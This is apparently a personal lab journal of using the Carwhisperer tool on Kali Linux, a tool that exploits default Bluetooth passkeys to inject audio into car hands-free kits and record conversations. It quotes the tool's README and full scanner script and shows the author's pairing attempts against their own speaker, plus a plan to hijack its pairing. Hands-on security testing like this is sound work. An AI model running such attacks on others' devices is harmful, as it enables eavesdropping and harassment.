Raspberry Pi 3 – Kali Linux – Bluetooth Hacking Journal 3 – Carwhisperer

-https://trifinite.org/trifinite_stuff_carwhisperer.html
general info

-looking for how to use carwhisperer
http://forum.top-hat-sec.com/index.php?topic=2843.0
can’t find any via that link
checked readme
cd /bluediving/tools/carwhisperer-0.2
gedit README

Project Carwhisperer (http://trifinite.org/trifinite_stuff_carwhisperer.html)
====================

The carwhisperer project intends to sensibilise manufacturers of carkits and
other Bluetooth appliances without display and keyboard for the possible
security threat evolving from the use of standard passkeys.

A Bluetooth passkey is used within the pairing process that takes place, when
two Bluetooth enabled devices connect for the first time. Besides other public
data, the passkey is a secret parameter used in the process that generates and
exchanges the so-called link key. In Bluetooth communication scenarios the link
key is used for authentication and encryption of the information that is
exchanged between the counterparts of the communication.

The cw_scanner script is repeatedly performing a device inquiry for visible
Bluetooth devices of which the class matches the one of Bluetooth Headsets
and Hands-Free Units. Once a visible Bluetooth device with the appropriate
device class is found, the cw_scanner script executes the carwhisperer binary
that connects to the found device (on RFCOMM channel 1) and opens a control
connection and connects the SCO links.

The carwhiperer binary connects to the device found by the cw_scanner. The
passkey that is required for the initial connection to the device is provided
by the cw_pin.pl script that replaces the official Bluez PIN helper (graphical
application that usually prompts for the passkey). The cw_pin.pl script
provides the passkey depending on the Bluetooth address that requests it.
Depending on the first three bytes of the address, which references the
manufacturer, different passkeys are returned by the cw_pin.sh script. In
quite a few cases the preset standard passkey on headsets and handsfree units
is ‘0000’ or ‘1234’.

Once the connection has been successfully established, the carwhisperer binary
starts sending audio to, and recording audio from the headset.
This allows attackers to inject audio data into the car. This could be fake
traffic announcements or nice words. Attackers are also able to eavesdrop
conversations among people sitting in the car.

Ideally, the carwhisperer is used with a toooned dongle
(see http://trifinite.org/trifinite_stuff_bluetoooone.html) and a directional
antenna that enhances the range of a Bluetooth radio quite a bit.
(see http://trifinite.org/trifinite_stuff_lds.html)

Recommendations

In order to avoid getting attacked by carwhisperer, manufacturers should not
use standard passkeys in their Bluetooth appliances. Moreover, there should be
some kind of direct interaction with the device that allows a device to connect.
Another recommendation would be to switch the handsfree unit to invisible mode,
when no authorized device connects to it within a certain time.

Not all Bluetooth carkits are subject to this threat. There is quite a few
Bluetooth carkits that use random passkeys that are generated for every
individual device during the production process. Carkits that are integrated
with a full infotainment system could use (and sometimes already do use) the
infotainment system’s UI for acquiring a passkey from the user.

Installation

You install carwhisperer straight forward by typing in the following commands:

$ make
# make install

If you don’t like it, you perform a

# make uninstall

Don’t forget to make a copy of your original /etc/bluetooth/hcid.conf file
before installation.

Carwhispering

By now, the carwhisperer allows only to inject prerecorded files and to record
audio from the car into a file.

Here are the commands that help you to create your own messages.

For creating a messagefile you enter:
sox -t wav -r 44100 -c 2 <your .wav-file> -t raw -r 8000 -c 1 -s -w message.raw

For listening to the recorded audio you enter:
sox -t raw -r 8000 -c 1 -s -w <recorded .raw file> -t ossdsp /dev/dsp
(This needs ossdsp drivers… or oss emulation for alsa)

For generating a .wav form the recorded aoudio you enter:
sox -t raw -r 8000 -c 1 -s -w <recorded .raw file> -t wav -r 44100 -c 2 out.wav

In order to run the car whisperer most effectively, you attach an antenna to a
bluetoooned bleutooth dongle and start the cw_scanner script which will find
devices that probably are subject to the standard passkey attack.

Copy a message file to the working directory of cw_scanner. Once a ‘victim’
comes in the range the message is injected to the audio system of the car.
At the same time a raw audio file is recorded to the ‘results’ directory that
also will be created by the cw_script.

The message file in the sample directory has been created by the festival
text to speech engine.

You could also test the carwhisperer with a Bluetooth headset that you put into
pairing mode before you start the cw_scanner script.

Important

If you use, modify or distribute the carwhisperer please give credit the
trifinite.group (http://trifinite.org/).

—–

I try to run ./cw_scanner but I get the following output
Cannot mkdir results: File exists at ./cw_scanner line 15.
vim cw_scanner shows
mkdir(“results”, 0755) || die “Cannot mkdir results: $!”;
so it’s creating a results directory every time it’s run
I checked and the results directory is empty
sudo rm -R results
removes the directory

This is the whole cw_scanner script

#!/usr/bin/perl

# cw_scanner
#
# in July 2005 by Martin Herfurt (martin@trifinite.org)
#
# The cw_scanner script is repeatedly performing a device inquiry for visible
# Bluetooth devices of which the class matches the one of Bluetooth Headsets
# and Hands-Free Units. Once a visible Bluetooth device with the appropriate
# device class is found, the cw_scanner script executes the carwhisperer binary
# that connects to the found device (on RFCOMM channel 1) and opens a control
# connection and connects the SCO links.

undef @device_history;
mkdir(“results”, 0755) || die “Cannot mkdir results: $!”;
while (1) {
$i++;
open HCITOOL , “hcitool -i hci0 inq –flush | grep 0x200 |”;
@devices=<HCITOOL>;
close HCITOOL;
chop $device;
($bdaddr,$co,$class)=split ‘ ‘, @devices[0];
print $bdaddr.”\n”;
if (length($bdaddr)>10) {

system(“echo -e \”$bdaddr\\n\” > results/$i.log”);
system(“play /home/martin/message.wav &”);
system(“./carwhisperer 0 message.raw results/$i.raw $bdaddr 1 >> $i.log”);
undef $bdaddr;
}
}

So, it’s running hcitool to scan
I only have bluetooth speakers to pair with for testing
First I need to be able to pair normally just to see if I can and how to do it
hcitool scan only shows my cell phone while my cell phone can see both the raspberry and the rukus speakers
hcitool lescan shows nothing
installed bluetooth ble scanner on my phone to see if I can see devices and power with it
It can find none so my speakers do not appear to be low energy, but regular bluetooth.
Can’t find a good bluetooth scanner for my phone
Tried scanning via graphical interface on the raspberry and it only sees my phone finds nothing
I moved my bluetooth speakers right next to my raspberry from the other room
after pressing and holding the bluetooth button to make it discoverable, I can see it

root@kali:~# hcitool scan
Scanning …
C8:84:47:0A:65:C7 rukus

root@kali:~# bluetoothctl
[NEW] Controller B8:27:EB:B3:21:70 kali [default]
Agent registered
[bluetooth]# pair C8:84:47:0A:65:C7
Device C8:84:47:0A:65:C7 not available
[bluetooth]# pair C8:84:47:0A:65:C7
Device C8:84:47:0A:65:C7 not available
[bluetooth]# pair C8:84:47:0A:65:C7
Device C8:84:47:0A:65:C7 not available
[bluetooth]# pair C8:84:47:0A:65:C7
Device C8:84:47:0A:65:C7 not available
[bluetooth]# pair C8:84:47:0A:65:C7
Device C8:84:47:0A:65:C7 not available
[bluetooth]# scan on
Discovery started
[CHG] Controller B8:27:EB:B3:21:70 Discovering: yes
[bluetooth]# pair C8:84:47:0A:65:C7
Device C8:84:47:0A:65:C7 not available
[NEW] Device C8:84:47:0A:65:C7 rukus
[bluetooth]# pair C8:84:47:0A:65:C7
Attempting to pair with C8:84:47:0A:65:C7
[CHG] Device C8:84:47:0A:65:C7 Connected: yes
[CHG] Device C8:84:47:0A:65:C7 UUIDs: 00000000-deca-fade-deca-deafdecacaff
[CHG] Device C8:84:47:0A:65:C7 UUIDs: 0000110b-0000-1000-8000-00805f9b34fb
[CHG] Device C8:84:47:0A:65:C7 UUIDs: 0000110e-0000-1000-8000-00805f9b34fb
[CHG] Device C8:84:47:0A:65:C7 ServicesResolved: yes
[CHG] Device C8:84:47:0A:65:C7 Paired: yes
Pairing successful
[CHG] Device C8:84:47:0A:65:C7 ServicesResolved: no
[CHG] Device C8:84:47:0A:65:C7 Connected: no
[bluetooth]#

I can pair to it. However there is no audio

[bluetooth]# help
Available commands:
list List available controllers
show [ctrl] Controller information
select <ctrl> Select default controller
devices List available devices
paired-devices List paired devices
system-alias <name> Set controller alias
reset-alias Reset controller alias
power <on/off> Set controller power
pairable <on/off> Set controller pairable mode
discoverable <on/off> Set controller discoverable mode
agent <on/off/capability> Enable/disable agent with given capability
default-agent Set agent as the default one
advertise <on/off/type> Enable/disable advertising with given type
set-advertise-uuids [uuid1 uuid2 …]
Set advertise uuids
set-advertise-service [uuid][data=[xx xx …]
Set advertise service data
set-advertise-manufacturer [id][data=[xx xx …]
Set advertise manufacturer data
set-advertise-tx-power <on/off>
Enable/disable TX power to be advertised
set-advertise-name <on/off/name>
Enable/disable local name to be advertised
set-advertise-appearance <value>
Set custom appearance to be advertised
set-scan-filter-uuids [uuid1 uuid2 …]
Set scan filter uuids
set-scan-filter-rssi [rssi]
Set scan filter rssi, and clears pathloss
set-scan-filter-pathloss [pathloss]
Set scan filter pathloss, and clears rssi
set-scan-filter-transport [transport]
Set scan filter transport
set-scan-filter-duplicate-data [on/off]
Set scan filter duplicate data
set-scan-filter-clear Clears discovery filter.
scan <on/off> Scan for devices
info [dev] Device information
pair [dev] Pair with device
trust [dev] Trust device
untrust [dev] Untrust device
block [dev] Block device
unblock [dev] Unblock device
remove <dev> Remove device
connect <dev> Connect device
disconnect [dev] Disconnect device
list-attributes [dev] List attributes
set-alias <alias> Set device alias
select-attribute <attribute/UUID>
Select attribute
attribute-info [attribute/UUID]
Select attribute
read Read attribute value
write <data=[xx xx …]> Write attribute value
acquire-write Acquire Write file descriptor
release-write Release Write file descriptor
acquire-notify Acquire Notify file descriptor
release-notify Release Notify file descriptor
notify <on/off> Notify attribute value
register-application [UUID …]
Register profile to connect
unregister-application Unregister profile
register-service <UUID> Register application service.
unregister-service <UUID/object>
Unregister application service
register-characteristic <UUID> <Flags=read,write,notify…>
Register application characteristic
unregister-characteristic <UUID/object>
Unregister application characteristic
register-descriptor <UUID> <Flags=read,write…>
Register application descriptor
unregister-descriptor <UUID/object>
Unregister application descriptor
version Display version
quit Quit program
exit Quit program
help Display help about this program
[bluetooth]#

I can’t find any audio commands there, however in blueman-manager (graphical interface) for bluetooth I can right click on the rukus and click ‘audio sink’ and then I get audio.

So now I know that the speakers can be paired functionally with audio to my raspberry

Also as a side note pianobar on linux allows for unlimited skips of pandora with no subscription.

I need to understand the difference between inq and scan to understand what cw_scanner is trying to do

Difference between hcitool scan and inq
https://stackoverflow.com/questions/26467593/difference-between-hcitool-scan-and-inq

hcitool scan scans for any device and returns the name and the MAC address.

hcitool inq inquires about a device, and receives the MAC address, clock offset and class. The clock offset can be ignored as it’s just a low-level value. Whereas the class tells you what type of device you are talking too, whether it be a bluetooth headset, phone or speakers etc.

hcitool inq

root@kali:~# hcitool inq
Inquiring …
C8:84:47:0A:65:C7 clock offset: 0x4697 class: 0x240400

The command blue is the start of the commands cw_scanner runs
hcitool -i hci0 inq –flush | grep 0x200 |

the -i flag is to identify what kind of hci device
hctiool -i hci0

computer was behaving very slowly, so I found it was firefox. I tried to install chromium for raspberry but it couldn’t find the package.

I added the following file
sudo gedit /etc/apt/sources.list.d/raspi.list
I added the following line to that file
deb http://archive.raspberrypi.org/debian/ jessie main
saved it
sudo apt update

root@kali:~# sudo apt update
Get:2 http://archive.raspberrypi.org/debian jessie InRelease [22.9 kB]
Hit:1 http://archive-5.kali.org/kali kali-rolling InRelease
Err:2 http://archive.raspberrypi.org/debian jessie InRelease
The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 82B129927FA3303E
Reading package lists… Done
W: GPG error: http://archive.raspberrypi.org/debian jessie InRelease: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 82B129927FA3303E
E: The repository ‘http://archive.raspberrypi.org/debian jessie InRelease’ is not signed.
N: Updating from such a repository can’t be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

root@kali:~# sudo apt-key add raspberrypi.gpg.key
OK
root@kali:~#

Found out chromium is actually installed already via ‘sudo apt install chromium’
I undid the package changes I made and ran sudo apt update
Then I tried to run chromium but it wouldn’t run in a sandbox
So this guide told me how to fix that

https://highon.coffee/blog/kali-chromium-install/

by adding these lines:

# Run as root Kali
export CHROMIUM_FLAGS=”$CHROMIUM_FLAGS –password-store=detect –no-sandbox –user-data-dir”

to /etc/chromium.d/default-flags

Now I can run chromium

Chromium stopped working and wouldn’t start again

sudo apt purge chromium

sudo apt install chromium

readded the sandbox lines:

# Run as root Kali
export CHROMIUM_FLAGS=”$CHROMIUM_FLAGS –password-store=detect –no-sandbox –user-data-dir”

to /etc/chromium.d/default-flags

punched myself in the face because raspberry is slow

root@kali:~# chromium
Received signal 7 BUS_ADRALN 0000009c9a61
#0 0x000001770cee <unknown>
#1 0x000001770b62 <unknown>
#2 0x00000099c264 <unknown>
#3 0x000001770f66 <unknown>
#4 0x000074456370 <unknown>
[end of stack trace]
Calling _exit(1). Core file will not be generated.
root@kali:~# [17241:17241:0211/191554.373121:ERROR:sandbox_linux.cc(346)] InitializeSandbox() called with multiple threads in process gpu-process.

sudo apt purge
sudo apt autoremove
sudo apt install chromium

root@kali:~# chromium
Received signal 7 BUS_ADRALN 000000979a61
#0 0x000001720cee <unknown>
#1 0x000001720b62 <unknown>
#2 0x00000094c264 <unknown>
#3 0x000001720f66 <unknown>
#4 0x0000744b1370 <unknown>
[end of stack trace]
Calling _exit(1). Core file will not be generated.
root@kali:~# [18019:18019:0211/192547.798530:ERROR:sandbox_linux.cc(346)] InitializeSandbox() called with multiple threads in process gpu-process.

Gave up on chrome and installed kweb

wget http://steinerdatenbank.de/software/kweb-1.6.9.tar.gz
tar -xzf kweb-1.6.9.tar.gz
cd kweb-1.6.9
./debinstall

The difference between hcitool scan and hcitool inq

hcitool scan scans for any device and returns the name and the MAC address.

hcitool inq inquires about a device, and receives the MAC address, clock offset and class. The clock offset can be ignored as it’s just a low-level value. Whereas the class tells you what type of device you are talking too, whether it be a bluetooth headset, phone or speakers etc.

root@kali:~/bluediving/tools/carwhisperer-0.2# sudo carwhisperer 0 message.raw in.raw C8:84:47:0A:65:C7
RFCOMM channel connected
Can’t connect SCO audio channel!: Permission Denied
root@kali:~/bluediving/tools/carwhisperer-0.2#

In the above command, the the raspberry is not paired with the rukus. In carwhisperer, it tries to pair with audio devices that respond with a code request when hcitool cc (mac address) is performed. Based on the last three octets of the mac address, common passwords are tried such as 0000, 0123, etc. So then you are actually pairing with the device. Then carwhisper allows you to play a sound file, talk over microphone to the speakers, or record audio. To see what kind of requests a bluetooth is making during a connection of hcitool cc mac, you can open up a separate terminal window and have hcidump running and watch that window when you run hcitool cc mac. In my case, the rukus is not asking for a password.

However, if the rukus is put into discovery mode, it will accept a connection from any device. So, I could continually run hciscan with my raspberry (which only will detect the rukus mac address when it gets put into discovery mode), and when that comes up with a mac address, that mac address could be connected to automatically via bluetoothctl -> pair (mac) before I could connect with my cell phone (which is what I typically use it for). So in this fake hacking scenario I would be preventing myself from ever being able to pair to the rukus with my cell phone because the raspberry would always beat me to it, and it could play obnoxious music or other sounds just for laughs.